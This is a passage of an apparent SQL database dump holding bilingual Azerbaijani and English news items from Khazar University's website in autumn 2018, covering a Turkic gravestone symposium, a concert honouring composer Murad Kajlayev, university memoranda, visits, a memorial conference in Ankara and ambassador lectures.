əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli simpoziuma qatıldıqlarına görə iştirakçllara Xəzər Universiteti adından təşəkkürünü bildirdi. Celil Arslan simpoziumun təşkilindəki fəal işinə görə Əlövsət Əmirbəyliyə təşəkkür plaketi və hədiyyə təqdim etdi.</p><p>Sonda professor Abbas Seyidov özü ilə gətirdiyi sazında aşıq havaları və “Çırpınırdı Qara dəniz” mahnısını çaldı. Böyük şair Əhməd Cavad və dahi bəstəkar Üzeyir Hacıbəylinin yadigarı, Azərbaycan türkləri qədər Türkiyə türkləri üçün də doğma oan “Çırpınırdı Qara dəniz” mahnısının iştirakçılar tərəfindən ifası ilə simpozium işini başa çatdırdı.</p><p>Sentyabrın 21-də simpozium iştirakçıları Şəhidlər xiyabanında şəhidlərin xatirəsini yad etdilər, Qobustan Dövlət Tarixi-Bədii Qoruğu və \"Atəşgah məbədi\" Dövlət Tarix-Memarlıq Qoruğunda oldular, İçərişəhəri gəzib, Şirvanşahlar sarayı ilə tanış oldular.</p><p>Simpozium haqqında respublika mediasında yayınlanmış materialların bir qismini bu linklər vasitəsilə izləmək olar:</p><p><a href=\"http://az.strategiya.az/index.php?do=xeber&amp;id=135236\">http://az.strategiya.az/index.php?do=xeber&amp;id=135236</a>;</p><p><a href=\"http://xalqqazeti.com/az/news/3629\">http://xalqqazeti.com/az/news/3629</a>;</p><p><a href=\"http://olaylar.az/news/medeniyyet/296742\">http://olaylar.az/news/medeniyyet/296742</a>.</p>'),(6036,3442,'en','I International Traditional Turkic Peoples\' Gravestone Symposium held','On September 19-21, 2018, on an organizational support of Erciyez University, Khazar University, National Museum of History and Turkish...','<p>On September 19-21, 2018, on an organizational support of Erciyez University, Khazar University, National Museum of History and Turkish Historical Society, “I International Traditional Turkic Peoples\' Gravestone Symposium  ” was held. The official opening ceremony was held on September 19 in Azerbaijan National Museum of History.</p><p>At the opening ceremony, Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, Academician Naila Valikhanli, Director of National Museum of History, Prof. Jalil Arslan, Erciyez University, delivered speeches.</p><p>On the second half of the day and on September 20, the Symposium continued at Khazar University. About 30 reports covering the topic by Azeri and Turkish experts were delivered. Moreover, the experts answered questions and had discussions.</p><p>A closing ceremony was held at the end of the day. At the ceremony, Yashar Chorunlu, Halit Chal, Abbas Seyidov, Assoc.Prof. Jalil Arslan, and a PhD candidate Tulin Chorunlu delivered speeches and emphasized the importance of the symposium in terms of studying common Turkish history. They also highly appreciated the quality of the reports and expressed gratitude to Khazar University administration and organizers for the symposium. The participants were presented with certificates.</p><p>Alovsat Amirbayli, a member of Organization Committee of the symposium and Director of Public Relations and Media, thanked the participants on behalf of Khazar University for joining the symposium. Jalil Arslan presented Alovsat Amirbayli with a plaque of gratitude and a gift for his active participation in the organization of the symposium</p><p>At the end, Prof.Abbas Seyidov performed ashig songs as well as the song “Waving Black Sea”. The symposium ended with “Waving Black Sea”, a joint heritage of a great poet Ahmad Javad and prominent composer Uzeyir Hajibeyli, which is a favourite song of both Azeri and Turkish peoples.</p><p>On September 21, symposium participants visited the Alley of Martyrs, Gobustan State Historical and Literary Reserve and “Temple of Ateshgah” State Historical and Architectural Reserve, Icherisheher and Palace of the Shirvanshahs.</p><p>The following links lead to some news covered by national media:</p>  \r\n<p><a href=\"http://az.strategiya.az/index.php?do=xeber&amp;id=135236\">http://az.strategiya.az/index.php?do=xeber&amp;id=135236</a>;</p><p><a href=\"http://xalqqazeti.com/az/news/3629\">http://xalqqazeti.com/az/news/3629</a>;</p><p><a href=\"http://olaylar.az/news/medeniyyet/296742\">http://olaylar.az/news/medeniyyet/296742</a>.</p>'),(6037,3446,'az','Xəzər Universitetində keçirilmiş tədbir mətbuatda','Xəbər verildiyi kimi, 2018-ci il sentyabrın 24-də Xəzər Universitetinin Fikrət Əmirov adına konfrans-konsert salonunda...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\">Xəbər verildiyi kimi, 2018-ci il sentyabrın 24-də Xəzər Universitetinin Fikrət Əmirov adına konfrans-konsert salonunda “Üzeyir Hacıbəyli –Musiqi həftəsi” çərçivəsində görkəmli bəstəkar, SSRİ xalq artisti Murad Kajlayev ilə yaradıcı görüş keçirildi.</p><p>AzTV, ATV, SpaceTV-nin reportaj hazırladıqları tədbir respublika mətbuatında geniş işıqlandırıldı:</p>\r\n<p><a href=\"https://azertag.az/xeber/Gorkemli_bestekar_Murad_Kajlayevin_muellif_gecesi_kechirilib-1197756\">https://azertag.az/xeber/Gorkemli_bestekar_Murad_Kajlayevin_muellif_gecesi_kechirilib-1197756</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://xalqqazeti.com/az/news/3981\">http://xalqqazeti.com/az/news/3981</a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://artkaspi.az/az/grkemli-bestekar-murad-kajlayevin-muellif-gecesi-kecirilib/.\">http://artkaspi.az/az/grkemli-bestekar-murad-kajlayevin-muellif-gecesi-kecirilib/</a>.  <br></p>'),(6038,3446,'en','Media covers the event held at Khazar University','Within “Uzeyir Hajibeyli – Music Week”, a creative meeting with Murad Kajlayev, People’s Artist of the USSR and a prominent composer...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\">Within “Uzeyir Hajibeyli – Music Week”, a creative meeting with Murad Kajlayev, People’s Artist of the USSR and a prominent composer, was held at Conference and Concert Hall named after Fikrat Amirov at Khazar University on September 24, 2018.</p><p>AzTV, ATV, SpaceTV made news reports on the event which was also covered by other national news agencies:</p>\r\n<p><a href=\"https://azertag.az/xeber/Gorkemli_bestekar_Murad_Kajlayevin_muellif_gecesi_kechirilib-1197756\">https://azertag.az/xeber/Gorkemli_bestekar_Murad_Kajlayevin_muellif_gecesi_kechirilib-1197756</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://xalqqazeti.com/az/news/3981\">http://xalqqazeti.com/az/news/3981</a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://artkaspi.az/az/grkemli-bestekar-murad-kajlayevin-muellif-gecesi-kecirilib/\">http://artkaspi.az/az/grkemli-bestekar-murad-kajlayevin-muellif-gecesi-kecirilib/</a>.  <br></p>'),(6039,3447,'az','Xəzər Universitetinin əməkdaşı “Ədalət” qəzetinə müsahibə verdi','2018-ci il sentyabrın 20-də “Ədalət” qəzetində Xəzər Universitetinin əməkdaşı Alik Əlioğlunun müsahibəsi...','<p>2018-ci il sentyabrın 20-də “Ədalət” qəzetində Xəzər Universitetinin əməkdaşı Alik Əlioğlunun müsahibəsi yayınlanmışdır.</p><p>Müsahibəni bu link vasitəsilə oxumaq olar:&nbsp;</p><p><a href=\"http://www.adalet.az/w156065/Azərbaycanda_şair_olmaq_%C3%A7ox_g%C3%BClm%C9%99lidir_-_M%C3%9CSAH%C4%B0B%C6%8F/#.W6TGBfkzbIV\">http://www.adalet.az/w156065/Azərbaycanda_şair_olmaq_%C3%A7ox_g%C3%-BClm%C9%99lidir_-_M%C3%9CSAH%C4%B0B%C6%8F/#.W6TGBfkzbIV.</a></p>'),(6040,3447,'en','Khazar University associate gives an interview to newspaper “Adalat”','On September 20, 2018, “Adalat” newspaper published an interview with Alik Alioghlu, a Khazar University associate...','<p>On September 20, 2018, “Adalat” newspaper published an interview with Alik Alioghlu, a Khazar University associate.</p><p>The interview is available through the following link:</p>  \r\n<p><a href=\"http://www.adalet.az/w156065/Azərbaycanda_şair_olmaq_%C3%A7ox_g%C3%BClm%C9%99lidir_-_M%C3%9CSAH%C4%B0B%C6%8F/#.W6TGBfkzbIV\">http://www.adalet.az/w156065/Azərbaycanda_şair_olmaq_%C3%A7ox_g%C3%-BClm%C9%99-lidir_-_M%C3%9CSAH%C4%B0B%C6%8F/#.W6TGBfkzbIV.</a></p>'),(6043,3449,'az','Xəzər Universiteti məzunlarının “44-45-ci məzunluq mərasimi” keçiriləcək','2018-ci il oktyabrın 12-si saat 18:00-da Xəzər Universiteti məzunlarının “44-45-ci məzunluq...','<a href=\"/files/events/mezunluq_poster.jpg\"><img src=\"http://www.khazar.org/files/events/mezunluq_poster.jpg\" style=\"border:0px  #000000;float:left;width:300px;height:422px;margin-left:7px;margin-top:7px;margin-right:7px\"></a><p>2018-ci il oktyabrın 12-si saat 18:00-da Xəzər Universiteti məzunlarının “44-45-ci məzunluq mərasimi” Üzeyir Hacıbəyli adına Bakı Musiqi Akademiyasının Opera Studiyasında (Rəşid Behbudov küç.&nbsp;41) keçiriləcək.</p><p>Maraqlananlar tədbirə dəvət olunurlar.</p><p>Qeyd edək ki, məzunların məşqi oktyabrın 11-i saat 12:00-da Üzeyir Hacıbəyli adına Bakı Musiqi Akademiyasının Opera Studiyasında (Rəşid Behbudov küç.&nbsp;41) keçiriləcək.</p>'),(6041,3448,'az','Xəzər Universiteti və İndoneziyanın Dar-üs-Səlam Universiteti arasında memorandum imzalandı','2018-ci il sentyabrın 20-də İndoneziyanın Darüssəlam Qontor Universitetinin (UNIDA) nümayəndələri Xəzər Universiterinin...','<p>2018-ci il sentyabrın 20-də İndoneziyanın Darüssəlam Qontor Universitetinin (UNIDA) nümayəndələri Xəzər Universiterinin “Neftçilər” kampusunda görüş keçirdilər. Görüşün məqsədi əməkdaşlıq imkanlarını müzakirə etmək və Anlaşma Memorandumu imzalamaq idi.</p><p>UNIDA-nın nümayəndə heyəti professor X.Amal Fəthulla (rektor), Dr. Hamid Fəhmi Zarkasyu (I prorektor), Dr. Akrim Mariyat (Qəyyumlar Şurasının sədri) və Roysa Dianadan (Baş müəllim) ibarət idi.</p><p>Xəzər Universitetini isə Dr. Hassan Niknafs (rektor), Dr.&nbsp;İradə Xəlilova (Elmi işlər üzrə prorektor), Fəxrəndə Əlimərdanova (Mühəndislik və Tətbiqi Elmlər fakültəsinin dekan müavini), Dr.&nbsp;Məhəmməd Şərifov (Kompüter elmləri və kompüter mühəndisliyi departamentinin koordinatoru) və Turan Cəfərova (Beynəlxalq Əlaqələr Ofisinin direktoru) təmsil edirdilər.</p><p>Qarşılıqlı maraq doğuran məsələləri müzakirə etdikdən sonra tərəflər bir-birinə xatirə hədiyyəsi təqdim etdilər və Anlaşma Memorandumu imzaladılar.</p>'),(6042,3448,'en','Khazar University Signs Memorandum with University of Darussalam of Indonesia','On September 20, 2018, Khazar University hosted a delegation from the University of Darussalam Gontor...','<p>On September 20, 2018, Khazar University hosted a delegation from the University of Darussalam Gontor (UNIDA) of Indonesia at Neftchiler Campus.</p>\r\n<p>The purpose of the meeting was to discuss areas of cooperation and sign a Memorandum of Understanding.</p>\r\n<p>Members of the delegation from the UNIDA included Prof. Dr. KH. Amal Fathullah (Rector of UNIDA), Dr. Hamid Fahmy Zarkasyu (I Vice Rector, UNIDA), Dr. Akrim Mariyat, Dipl.A.Ed (Board of Trustees, UNIDA Gontor), and Rosyda Diana (Senior Lecturer UNIDA), Ms. Nadia (Researcher UNIDA).</p><p>Participants from Khazar University included Dr. Hassan Niknafs (Rector), Dr. Irada Khalilova (Vice Rector for Research), Ms. Fakhranda Alimardanova (Vice Dean of the School of Engineering and Applied Sciences), Dr. Mahammad Sharifov (Coordinator of Computer Sciences and Computer Engineering Department), and Ms. Turan Jafarova (Director of International Affairs Office).</p><p>After discussing the mutually beneficial cooperation, the parties exchanged memorable gifts, and signed a Memorandum of Understanding.</p>'),(6044,3449,'en','44-45th Graduation Ceremony for Khazar University graduates to be held','On October 12, 2018 at 18:00, the 44-45th Graduation Ceremony of Khazar University graduates will...','<a href=\"/files/events/mezunluq_poster.jpg\"><img src=\"http://www.khazar.org/files/events/mezunluq_poster.jpg\" style=\"border:0px  #000000;float:left;width:300px;height:422px;margin-left:7px;margin-top:7px;margin-right:7px\"></a><p>On October 12, 2018 at 18:00, the 44-45<sup>th</sup> Graduation Ceremony of Khazar University graduates will be held at Opera Studio to Baku Music Academy (41 Rashid Behbudov Street; the entrance is between Music Gallery and Baku Jazz Center).</p><p>Those wishing to participate are welcome to the Graduation ceremony.</p><p>Note that, the rehearsal will be held on October 11, at 12:00, at Opera Studio to Baku Music Academy (41 Rashid Behbudov Street; the entrance is between Music Gallery and Baku Jazz Center).</p>'),(6046,3450,'en','Meeting with Murad Kajlayev, a prominent composer','Within Uzeyir Hajibeyli Music Week, a creative meeting with Murad Kajlayev, People’s Artist of the USSR and a prominent composer...','<p>Within Uzeyir Hajibeyli Music Week, a creative meeting with Murad Kajlayev, People’s Artist of the USSR and a prominent composer, was held at Conference and Concert Hall named after Fikrat Amirov at Khazar University on September 24, 2018.</p><p>Heads of administrations of Khazar University and the Azerbaijan Union of Composers as well as composer’s friends, musicians, staff and students of the University attended the event.</p><p>The event started with a documentary film about the life and career of Murad Kajlayev. Then Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered an opening speech greeting the prominent composer and participants and gave wide information about the composer’s career.</p><p>Sardar Farajov, Composer, Honored Art Worker and Secretary of the Azerbaijan Union of Composers; Ali Usubov, Honored Art Worker; Tofig Bakikhanov, People’s Artist; Telman Hajiyev, Honored Art Worker; Rafig Seyidzadeh, Honored Art Worker, delivered speeches appreciating a rich creative career of Murad Kajlayev, a representative of music culture of Azerbaijan. Moreover, the speakers mentioned that the compositions by Murad Kajlayev which are closely attached to national music, history and rich folklore, have been performed in many foreign countries, and shared their memories of composer’s years spent in Baku.</p><p>In the concert program composed of the composer’s works, compositions of various genres were performed. Fakhraddin Karimov, People’s Artist, conducted the concerts program which was performed by Chamber Orchestra of Khazar University (Zulfiyya Sadigova, Art Director), - Sabina Vahabova (a vocalist), Honored Artist; Julia Behbudova (a vocalist); Israfil Rasulova (a trumpet player); Saida Taghizadeh (a pianist); Zulfiyya Sadigova and Azar Damirov (a violin player, USA).</p><p>After the concert, Murad Kajlayev delivered a speech and thanked the participants and Khazar University administration for the meeting.</p><p>At the end, Prof.Hamlet Isakhanli presented the composer as well as Fakhraddin Karimov and others with gifts. Murad Kajlayev presented his books to Khazar University. The event was covered by AZERTAC – Azerbaijan State News Agency&nbsp;<a href=\"https://azertag.az/xeber/Gorkemli_bestekar_Murad_Kajlayevin_muellif_gecesi_kechirilib-1197756\">https://azertag.az/xeber/Gorkemli_bestekar_Murad_Kajlayevin_muellif_gecesi_kechirilib-1197756</a>) and other leading press agencies and news portals.</p>'),(6049,3452,'en','UCLA Professor Visited Khazar University School of Engineering ','On September 25, Dr. Pirouz Kavehpour, a professor with high academic reputation...','<p>On September 25, Dr. Pirouz Kavehpour, a professor with high academic reputation from the&nbsp;University of California, Los Angeles&nbsp;(UCLA), visited&nbsp;Khazar University. All the staff of the School of Engineering and Applied Sciences participated in a round-table seminar with Dr. Pirouz who delivered an interesting&nbsp;scientific lecture on his research at UCLA related to Nanotechnology and Bioengineering.&nbsp;</p><p>Collaboration&nbsp;between the two universities on the joint research in the areas of bioengineering and nanotechnology was discussed. Student exchange and faculty exchange programs were also discussed.  </p><p>The sides agreed on the participation of Khazar University students from the School of Engineering and Applied Sciences in UCLA’s summer courses offered by various engineering departments on a discounted tuition basis. During the&nbsp;summer semester, Khazar University students will also be provided with the dormitory by UCLA.</p><p>A MoU is under prescription and will be signed soon between the two universities.</p>'),(6047,3451,'az','Ankarada Camal Mustafayevin xatirəsinə həsr olunmuş möhtəşəm tədbir keçirildi','2018-ci il sentyabrın 25-də moderator.az xəbər portalı Ankarada Xəzər Universitetinin mərhum professoru Camal Mustafayevin...','<p>2018-ci il sentyabrın 25-də <strong><em>moderator.az</em></strong> xəbər portalı Ankarada Xəzər Universitetinin mərhum professoru Camal Mustafayevin xatirəsinin yad edildiyi tədbirdən&nbsp;–&nbsp;konfransdan geniş xəbər yaymışdır. Xəbərdə deyilir ki, Beynəlxalq Türk Mədəniyyəti Təşkilatı (Uluslararası Türk Kültür teşkilatı – TÜRKSOY) və Borçalı Cəmiyyətinin birgə təşkilatçılığı ilə “Türk Dünyasının öncülləri” sırasından görkəmli filosof Camal Mustafayevin xatirəsinə və Borçalı Elinin tanıdılmasına həsr olunmuş möhtəşəm tədbir keçirilib.</p><p>Tədbirin aparıcısı Cavid Mövsünlünün qısa giriş çıxışından sonra söz TÜRKSOY-un baş katibi Düsen Kaseinova verilib. Baş katib Borçalı Cəmiyyətinin nümayəndə heyətini və tədbirə qatılanları salamlayaraq qurumda Türk Dünyasının görkəmli şəxsiyyətləri haqda düzənlənən tədbirlərə diqqət çəkib və Camal Mustafayevin xatirəsinə belə bir tədbir keçirdikləri üçün məmnunluğunu ifadə edib. Sonra Alan millət vəkili, TBMM-nin Türkiyə-Azərbaycan Dostluq Qrupunun sədri Şamil Ayrım bu kimi tədbirlərin keçirilməsinin Türk Dünyası adına önəminə işarə edərək, bundan ötrü parlamentdə hər zaman təklifləri eşitməyə hazır olduğunu dilə gətirib. Türkiyə prezidentinin baş müşaviri Yalçın Topçu konfrans iştirakçılarını Türkiyə Cumhuriyyətinin prezidenti Rəcəb Tayyib Ərdoğanın adından salamlayaraq, Camal Mustafayev şəxsiyyəti, Borçalı Eli, onun mədəniyyəti haqda konfrans iştirakçıları qarşısında nitq söyləyib.</p><p>Konfransın ilk məruzəsi ilə isə Borçalı Cəmiyyətinin sədri Zəlimxan Məmmədli çıxış etdi. Öz məruzəsini Borçalı Eli haqda ətraflı məlumatla başlayan Cəmiyyət sədri bu şəkildə mötəbər konfransın təşkilinə görə TÜRKSOY təşkilatına təşəkkürünü bildirdi. Borçalı Elinin tanınmış saz və söz ustalarına işarə edən Z. Məmmədli belə bir mühitdə həm də filosof Camal Mustafayev kimi şəxsiyyətin formalaşmasına xüsusi diqqət çəkdi. Camal Mustafayevin yaradıcılığı, elmi araşdırmaları və ən önəmlisi fəlsəfi dünyası haqda ətraflı məruzə edən Z.Məmmədli Borçalı Cəmiyyətinin Camal Mustafayevin xatirəsinə “Qələm və kəlam” mükafatı təsis etdiyini bildirərək, əlavə etdi ki, Camal Mustafayev elmdə zirvəyə ucaldığı qədər, insanlıqda da o zirfəni fəth etmişdi.</p><p>Daha sonra Gürcüstan Aşıqlar Birliyinin sədri, tanınmış şair Osman Əhmədoğlu, Ankara Yıldırım Beyazit Universitesinin müəllimi, doktor Oğuzhan Aydın çıxış edərək, aşıqlıq sənəti və onun bölmələri haqda məlumat veriblər. Konfransın 3-cü bölümündə Aşıq Selahettin Dündar, Aşıq Nargilə Mehdiyeva, Aşıq Tərmeyxan Qurbanov, Marneulidə fəaliyyət göstərən SARVAN rəqs qrupunun alqışlarla müşayiət olunan çıxışları olub. Sonda konfrans iştirakçılarına TÜRKSOY və Borçalı Cəmiyyəti tərəfindən xüsusi hədiyyələr təqdim edilib.</p><p>Xəbəri bu linkdə oxumaq olar:</p><p><a href=\"http://www.moderator.az/news/241415.html\">http://www.moderator.az/news/241415.html</a>.<br></p>'),(6048,3451,'en','A great event dedicated to the memory of Jamal Mustafayev held in Ankara','On September 25, 2018, moderator.az news portal posted an extensive article on a conference, held in Ankara...','<p>On September 25, 2018,&nbsp;<strong><em>moderator.az</em></strong>&nbsp;news portal posted an extensive article on a conference, held in Ankara, dedicated to the memory of Jamal Mustafayev, a deceased professor at Khazar University. The news reports that a great event, out of the series “Leaders of Turkish World”, dedicated to the memory of Jamal Mustafayev, a prominent philosopher, and awareness about Borchali Land was held on a joint organizational support of International Organization of Turkic Culture (TÜRKSOY) and Borchali Society.</p><p>Javid Movsumov, a presenter of the event, delivered a short introductory speech and gave the floor to Dusen Kaseinov, Secretary General of TÜRKSOY, who greeted the delegation of Borchali Society and participants and underlined previous events which were dedicated to the memory of prominent figures of Turkish World. He expressed his gladness for such an event organized in honor of Jamal Mustafayev. Then Shamil Ayrim, a member of parliament, Chair of Friendship Group of Turkey and Azerbaijan of the Grand National Assembly of Turkey; Yalchin Topchu, Chief Advisor to the President of Turkey; Zalimkhan Mammadli, Chair of Borchali Society; Osman Ahmadoghlu, a prominent poet and Chair of Ashigs Union of Georgia; Dr. Oghuz Aydin, Instructor of Ankara Yildirim Beyazit University, delivered speeches.</p><p>In the third part of the conference, ashigs - Selahattin Dundar, Nargila Mehdiyeva and Tamerlan Gurbanov, as well as SARVAN dance group of Marneuli accompanied by ashigs gave a performance. At the end, TÜRKSOY and Borchali Society presented the participants with gifts.</p><p>The news is available though the following link:&nbsp;</p><p><a href=\"http://www.moderator.az/news/241415.html\">http://www.moderator.az/news/241415.html</a>.</p>'),(6054,3455,'az','Təhsil fakültəsinin dekanına dosent diplomu təqdim olundu','2018-ci il sentyabrın 27-də Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyasında...','<p>2018-ci il sentyabrın 27-də Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyasında diplomların təqdim olunması mərasimi keçirildi. Mərasimdə Xəzər Universiteti Təhsil fakültəsinin dekanı, filologiya üzrə fəlsəfə doktoru Elza Səmədovaya dosent diplomu təqdim olundu.</p><p>Qeyd edək ki, müvafiq qərar Ali Attestasiya Komissiyasının 11 may 2018-ci il tarixli kollegiya iclasında qəbul edilmişdi.</p>'),(6053,3454,'en','Conference within PROMIG project to be held','On October 19, 2018, within Erasmus+ project “Promoting Migration Studies in Higher Education”...','<p>On October 19, 2018, within Erasmus+ project “Promoting Migration Studies in Higher Education” (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP), a one-day Dissemination&nbsp;conference “<strong><em>Migration and Sustainable Development</em></strong>” will be held at Khazar University on a joint organizational support of the School of Economics and Management and Center for Development. Instructors and students of Khazar University and Baku Engineering University, as well as experts of Representative Office of International Organization for Migration in Azerbaijan, will deliver presentations sharing their research findings.</p><p>The conference aims at disseminating information about project achievements to the public. In the conference, information on two more Erasmus+ projects, which Khazar University is partnering with, will also be shared.</p><p><a href=\"/files/events/pawer-poster.jpg\"></a><a href=\"/files/events/pawer-poster.jpg\" target=\"_blank\"><img src=\"/files/events/pawer-poster.jpg\" style=\"width:200px;height:465px\"></a> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<a href=\"/files/events/migration-poster.jpg\" target=\"_blank\"><img src=\"/files/events/migration-poster.jpg\" style=\"width:200px;height:476px\"></a>&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<a href=\"/files/events/intercultural-poster.jpg\" target=\"_blank\"></a><a href=\"/files/events/intercultural-poster.jpg\" target=\"_blank\"><img src=\"/files/events/intercultural-poster.jpg\" style=\"width:200px;height:465px\"></a></p>'),(6056,3452,'az','UCLA professoru Mühəndislik və Tətbiqi Elmlər fakültəsində oldu','2018-ci il sentyabrın 25-də Los Anceles Kaliforniya Universitetinin...','<p>2018-ci il sentyabrın 25-də Los Anceles Kaliforniya Universitetinin (UCLA) tanınmış professoru Dr. Pirouz Kavehpour   Xəzər Universitetində oldu. Mühəndislik və Tətbiqi Elmlər fakültəsinin bütün müəllimlərinin iştirak etdiyi dəyirmi masada Dr. Piruz UCLA-da apardığı nanotexnologiya və biomühəndislik tədqiqatları barədə mühazirə ilə çıxış etdi.</p><p>Sonra başqa nanotexnologiya və biomühəndislik üzrə birgə tədqiqatların aparılması, eləcə də, mübadilə proqramlarının icrası üçün universitetlər arasında müzakirələr aparıldı.</p><p>Görüşdə Xəzər Universitetinin Mühəndislik və Tətbiqi Elmlər fakültəsinin tələbələrinin UCLA-nın müxtəlif mühəndislik fakültələri tərəfindən həyata keçirilən yay məktəblərində iştirakına dair razılıq əldə edildi. Yay məktəbləri müddətində Xəzər Universitetinin tələbələri yataqxana ilə təmin ediləcəklər.</p><p>Tərəflər hazırlanmaqda olan Anlaşma Memorandumunu yaxın günlərdə imzalayacaqlar.</p>'),(6057,3456,'az','Rektor yeni əcnəbi magistr və doktorant tələbələrlə görüşdü','2018-ci il sentyabrın 20-də Xəzər Universitetinin “Neftçilər” kampusunda...','<p>2018-ci il sentyabrın 20-də Xəzər Universitetinin “Neftçilər” kampusunda 2018/2019-cu tədris ilində universitetə qəbul olunmuş əcnəbi magistr və doktorantlarla görüş keçirildi.</p><p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs iştirakçıları salamladı və açılış nitqi söylədi. Görüşün məqsədi yeni tələbələri universitetin akademik mühiti, qaydaları və təhsil siyasəti ilə tanış etmək və onların suallarını cavablandırmaq idi.</p><p>Elmi İşlər üzrə prorektor Dr. İradə Xəlilova Xəzər Universitetində aparılan tədiqatlar barədə tələbələrə məlumat verdi. Magistratura, doktorantura və elmi işlər bölməsinin müdiri Dr. Eldar Şahgəldiyev Azərbaycanda magistratura və doktorantura pilləsində aparılan tədqiqatların təşkili barədə danışdı. Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova Təhsil Nazirliyi və Dövlət Miqrasiya Xidmətinin qaydaları barədə məlumat verdi.</p><p>Qeyd edək ki, cari akademik ildə Xəzər Universitetinə Əfqanıstan, Hindistan, İndoneziya, İran, İraq, İordaniya, Lesoto, Malavi, Pakistan, Tacikistan və s. ölkələrdən magistr və doktorantura pilləsinə tələbə qəbul olunmuşdur.</p>'),(6058,3456,'en','Rector Meets with New International Master and PhD Candidates','On September 20, 2018, a meeting with new international PhD and Master candidates...','<p>On September 20, 2018, a meeting with new international PhD and Master candidates admitted to Khazar University in the 2018-2019 academic year was held on its Neftchiler Campus.</p><p>The meeting led by the Rector of Khazar University Dr. Hassan Niknafs brought together international Master and PhD students who got admitted to the university in its current academic year (2018-2019). The purpose of the meeting was to welcome the new students to the academic environment of the university, familiarize them with its rules and policies, and address their questions and concerns.&nbsp;</p><p>Dr. Irada Khalilova, Vice Rector for Research, told the students about the research at Khazar University. Dr. Eldar Shahgaldiyev, Head of the Division for Graduate Students and Research provided information about the organization of Master and PhD studies in Azerbaijan. Ms. Turan Jafarova, Director of International Affairs Office informed the students about local regulations set by the Ministry of Education and the State Migration Service of Azerbaijan Republic.&nbsp;</p><p>In its current academic year Khazar University accepted Master and PhD students from Afghanistan, India, Indonesia, Iran, Iraq, Jordan, Lesotho, Malawi, Pakistan, Tajikistan, and other countries.&nbsp;</p>'),(6059,3457,'az','Hamlet İsaxanlı Azad Mirzəcanzadədən danışdı','2018-ci il sentyabrın 20-si və 21-də İctimai Televiziyada “Azad Mirzəcanzadə” televiziya filmi...','<p>2018-ci il sentyabrın 20-si və 21-də İctimai Televiziyada “Azad Mirzəcanzadə” televiziya filmi nümayiş etdirildi. Filmdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının Azad Mirzəcanzadə şəxsiyyəti və onun elmi-pedaqoji fəaliyyəti haqqında fikirləri də əks olunmuşdur.</p>'),(6060,3457,'en','Hamlet Isakhanli spoke about Azad Mirzajanzade','On September 20-21, 2018,  “Azad Mirzajanzade” television movie was demonstrated...','<p>On September 20-21, 2018,&nbsp; “Azad Mirzajanzade” television movie was demonstrated on Ictimai TV. The movie also included the views of Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, on personality of Azad Mirzajanzade and his scientific-pedagogical activity.</p>'),(6061,3458,'az','Səfir görüşü','Səfir görüşü','<p><br></p><p><br></p><h3 style=\"text-align:center\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SƏFİR GÖRÜŞÜ</h3><p><br></p><p><br></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/DSC_3106.JPG\" style=\"width:900px;height:491px\"><br></p><p><strong>4 oktyabr 2018</strong></p><p><em>Mövzu: \"Avropa Xarici Siyasətinin Aktorları\"</em></p><p><strong>Cənab Denis Daniilidis,&nbsp;Avropa İttifaqının Azərbaycandakı\r\nNümayəndəliyinin Birinci Müşaviri&nbsp;</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p style=\"text-align:center\"><strong><img src=\"/files/politics_depart/o_1cel5iog0fs1912ugq1sf21adde.jpg\" style=\"width:900px;height:381px\"><br></strong></p><p><strong>23 may 2018</strong></p><p><em>Mövzu:</em>&nbsp;\"Demokratik sistemlərdə hakimiyyət bölgüsü və icraedici, qanunverici, məhkəmə orqanları&nbsp; arasında əlaqə\"</p><p><strong>Cənab Rodrigo Labardini,</strong>&nbsp;<strong>Meksikanın Azərbaycandakı səfiri</strong>  <br></p><p><br></p><p><br></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/Bert.JPG\" style=\"border:0px #000000;width:900px;height:476px;vertical-align:baseline\"><br></p><p><strong>8 may 2018</strong></p>\r\n<p><em>Mövzu: “Belçikanın federativ idarəetmə\r\nsistemi və Avropa İttifaqında rolu”</em></p>\r\n<p><strong>Cənab Bert Schoofs,</strong> <strong>B</strong><strong>elçikanın Azərbaycandakı Fövqəladə və Səlahiyyətli\r\nsəfiri</strong></p>  <p><br></p><p><br></p><p><br></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/3.JPG\" style=\"border:0px  #000000;width:900px;height:596px;vertical-align:baseline\"><br></p><p style=\"text-align:justify;line-height:150%\"><strong>2\r\nmay 2018<em></em></strong></p><p><em>Mövzu: \"Meksikanın Xarici Siyasət\r\nPrioritetləri və Azərbaycanla Qarşılıqlı Münasibətləri\"</em></p>\r\n<p><strong>Cənab Rodrigo\r\nLabardini,</strong> <strong>Meksikanın Azərbaycandakı səfiri</strong></p>  